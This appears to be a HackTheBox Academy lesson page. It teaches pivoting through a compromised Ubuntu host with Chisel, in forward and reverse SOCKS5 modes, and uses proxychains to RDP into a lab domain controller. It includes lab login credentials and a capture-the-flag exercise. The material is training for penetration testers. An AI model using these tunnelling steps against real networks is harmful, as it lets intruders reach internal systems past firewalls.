SOCKS5 Tunneling with Chisel

Chisel is a TCP/UDP-based tunneling tool written in Go that uses HTTP to transport data that is secured using SSH. Chisel can create a client-server tunnel connection in a firewall restricted environment. Let us consider a scenario where we have to tunnel our traffic to a webserver on the 172.16.5.0/23 network (internal network). We have the Domain Controller with the address 172.16.5.19. This is not directly accessible to our attack host since our attack host and the domain controller belong to different network segments. However, since we have compromised the Ubuntu server, we can start a Chisel server on it that will listen on a specific port and forward our traffic to the internal network through the established tunnel.

Setting Up & Using Chisel

Before we can use Chisel, we need to have it on our attack host. If we do not have Chisel on our attack host, we can clone the project repo using the command directly below:

Cloning Chisel

Cloning Chisel

```
ipp@htb[/htb]$ git clone https://github.com/jpillora/chisel.git
```

We will need the programming language Go installed on our system to build the Chisel binary. With Go installed on the system, we can move into that directory and use `go build` to build the Chisel binary.

Building the Chisel Binary

Building the Chisel Binary

```
ipp@htb[/htb]$ cd chisel
go build
```

It can be helpful to be mindful of the size of the files we transfer onto targets on our client's networks, not just for performance reasons but also considering detection. Two beneficial resources to complement this particular concept are Oxdf's blog post "Tunneling with Chisel and SSF" and IppSec's walkthrough of the box Reddish. IppSec starts his explanation of Chisel, building the binary and shrinking the size of the binary at the 24:29 mark of his video.

Once the binary is built, we can use SCP to transfer it to the target pivot host.

Transferring Chisel Binary to Pivot Host

Transferring Chisel Binary to Pivot Host

```
ipp@htb[/htb]$ scp chisel ubuntu@10.129.202.64:~/

ubuntu@10.129.202.64's password:
chisel                                        100%   11MB   1.2MB/s   00:09
```

Then we can start the Chisel server/listener.

Running the Chisel Server on the Pivot Host

Running the Chisel Server on the Pivot Host

```
ubuntu@WEB01:~$ ./chisel server -v -p 1234 --socks5

2022/05/05 18:16:25 server: Fingerprint VirY7WRvyJIOPveDIrSI2piuIvtv9QehNw97zA3zspac=
2022/05/05 18:16:25 server: Listening on http://0.0.0.0:1234
```

The Chisel listener will listen for incoming connections on port 1234 using SOCKS5 (--socks5) and forward it to all the networks that are accessible from the pivot host. In our case, the pivot host has an interface on the 172.16.5.0/23 network, which will allow us to reach hosts on that network.

We can start a client on our attack host and connect to the Chisel server.

Connecting to the Chisel Server

Connecting to the Chisel Server

```
ipp@htb[/htb]$ ./chisel client -v 10.129.202.64:1234 socks

2022/05/05 14:21:18 client: Connecting to ws://10.129.202.64:1234
2022/05/05 14:21:18 client: tun: proxy#127.0.0.1:1080=>socks: Listening
2022/05/05 14:21:18 client: tun: Bound proxies
2022/05/05 14:21:19 client: Handshaking...
2022/05/05 14:21:19 client: Sending config
2022/05/05 14:21:19 client: Connected (Latency 120.170822ms)
2022/05/05 14:21:19 client: tun: SSH connected
```

As you can see in the above output, the Chisel client has created a TCP/UDP tunnel via HTTP secured using SSH between the Chisel server and the client and has started listening on port 1080. Now we can modify our proxychains.conf file located at /etc/proxychains.conf and add 1080 port at the end so we can use proxychains to pivot using the created tunnel between the 1080 port and the SSH tunnel.

Editing & Confirming proxychains.conf

We can use any text editor we would like to edit the proxychains.conf file, then confirm our configuration changes using `tail`.

Editing & Confirming proxychains.conf

```
ipp@htb[/htb]$ tail -f /etc/proxychains.conf

#
#       proxy types: http, socks4, socks5
#        ( auth types supported: "basic"-http  "user/pass"-socks )
#
[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
# socks4    127.0.0.1 9050
socks5 127.0.0.1 1080
```

Now if we use proxychains with RDP, we can connect to the DC on the internal network through the tunnel we have created to the Pivot host.

Pivoting to the DC

Pivoting to the DC

```
ipp@htb[/htb]$ proxychains xfreerdp /v:172.16.5.19 /u:victor /p:pass@123
```

Chisel Reverse Pivot

In the previous example, we used the compromised machine (Ubuntu) as our Chisel server, listing on port 1234. Still, there may be scenarios where firewall rules restrict inbound connections to our compromised target. In such cases, we can use Chisel with the reverse option.

When the Chisel server has `--reverse` enabled, remotes can be prefixed with `R` to denote reversed. The server will listen and accept connections, and they will be proxied through the client, which specified the remote. Reverse remotes specifying `R:socks` will listen on the server's default socks port (1080) and terminate the connection at the client's internal SOCKS5 proxy.

We'll start the server in our attack host with the option `--reverse`.

Starting the Chisel Server on our Attack Host

Starting the Chisel Server on our Attack Host

```
ipp@htb[/htb]$ sudo ./chisel server --reverse -v -p 1234 --socks5

2022/05/30 10:19:16 server: Reverse tunnelling enabled
2022/05/30 10:19:16 server: Fingerprint n6UFN6zV4F+MLB8WV3x25557w/gHqMRggEnn15q9xIk=
2022/05/30 10:19:16 server: Listening on http://0.0.0.0:1234
```

Then we connect from the Ubuntu (pivot host) to our attack host, using the option `R:socks`

Starting the Chisel Server on our Attack Host

```
ubuntu@WEB01$ ./chisel client -v 10.10.14.17:1234 R:socks

2022/05/30 14:19:29 client: Connecting to ws://10.10.14.17:1234
2022/05/30 14:19:29 client: Handshaking...
2022/05/30 14:19:30 client: Sending config
2022/05/30 14:19:30 client: Connected (Latency 117.204196ms)
2022/05/30 14:19:30 client: tun: SSH connected
```

We can use any editor we would like to edit the proxychains.conf file, then confirm our configuration changes using `tail`.

Editing & Confirming proxychains.conf

Editing & Confirming proxychains.conf

```
ipp@htb[/htb]$ tail -f /etc/proxychains.conf

[ProxyList]
# add proxy here ...
# socks4    127.0.0.1 9050
socks5 127.0.0.1 1080
```

If we use proxychains with RDP, we can connect to the DC on the internal network through the tunnel we have created to the Pivot host.

Editing & Confirming proxychains.conf

```
ipp@htb[/htb]$ proxychains xfreerdp /v:172.16.5.19 /u:victor /p:pass@123
```

Start Instance

∞ / 1 spawns left

Waiting to start...

Questions

Answer the question(s) below to complete this Section and earn cubes!

Cheat Sheet

Get VPN Key

Target: Click here to spawn the target system!

SSH to with user "ubuntu" and password "cf35_@cademy_stdnt!"

+ 1 pt Using the concepts taught in this section, connect to the target and establish a SOCKS5 Tunnel that can be used to RDP into the domain controller (172.16.5.19, victor:pass@123). Submit the contents of C:\Users\victor\Documents\flag.txt as the answer.

Submit your answer here...

Submit

Previous Next

My Workstation

OFFLINE

Start Instance

∞ / 1 spawns left